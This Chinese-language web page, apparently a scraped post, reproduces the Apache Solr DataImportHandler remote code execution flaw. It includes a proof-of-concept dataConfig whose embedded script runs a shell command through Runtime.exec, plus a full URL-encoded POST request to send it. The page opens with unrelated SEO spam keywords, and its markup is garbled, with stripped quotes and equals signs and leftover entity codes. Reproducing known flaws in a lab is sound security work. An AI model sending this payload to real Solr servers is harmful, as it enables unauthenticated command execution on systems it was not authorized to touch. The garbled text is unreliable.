软件工程 旅游网站开发er图,网站建设维护公司地址,人才市场档案服务中心,做公司的网站有哪些东西Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发#xff0c;主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler#xff0c;该模块是一个可选但常用的模块#xff0c;用于从数据库和其他源中提取数据。它具有一个功能#…Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler该模块是一个可选但常用的模块用于从数据库和其他源中提取数据。它具有一个功能其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本因此攻击者可以通过构造危险的请求从而造成远程命令执行。
访问http://your-ip:8983/即可查看到Apache solr的管理页面无需登录。 1.首先在页面左侧选择demo核心打开Dataimport面板开启右侧Debug mode填入以下POC
dataConfigscript![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec(touch /tmp/success);}]]/scriptdocumententity namesamplefileName.*baseDir/processorFileListEntityProcessorrecursivefalsetransformerscript:poc //document
/dataConfig 2.利用burpsuite发送以下请求包
POST /solr/demo/dataimport?_1708782956647indentonwtjson HTTP/1.1
Host: your-ip:8983
Content-Length: 613
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-type: application/x-www-form-urlencoded
Origin: http://your-ip:8983
Referer: http://your-ip:8983/solr/
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q0.9,zh;q0.8,en-US;q0.7
Connection: closecommandfull-importverbosefalsecleanfalsecommittruedebugtruecoredemodataConfig%3CdataConfig%3E%0A%3Cscript%3E%3C!%5BCDATA%5B%0Afunctionpoc()%7Bjava.lang.Runtime.getRuntime().exec(%22touch%2Ftmp%2Fsuccess%22)%3B%0A%7D%0A%5D%5D%3E%3C%2Fscript%3E%0A%3Cdocument%3E%0A%3Centityname%3D%22sample%22%0AfileName%3D%22.*%22%0AbaseDir%3D%22%2F%22%0Aprocessor%3D%22FileListEntityProcessor%22%0Arecursive%3D%22false%22%0Atransformer%3D%22script%3Apoc%22%2F%3E%0A%3C%2Fdocument%3E%0A%3C%2FdataConfig%3Enamedataimport 3.命令成功执行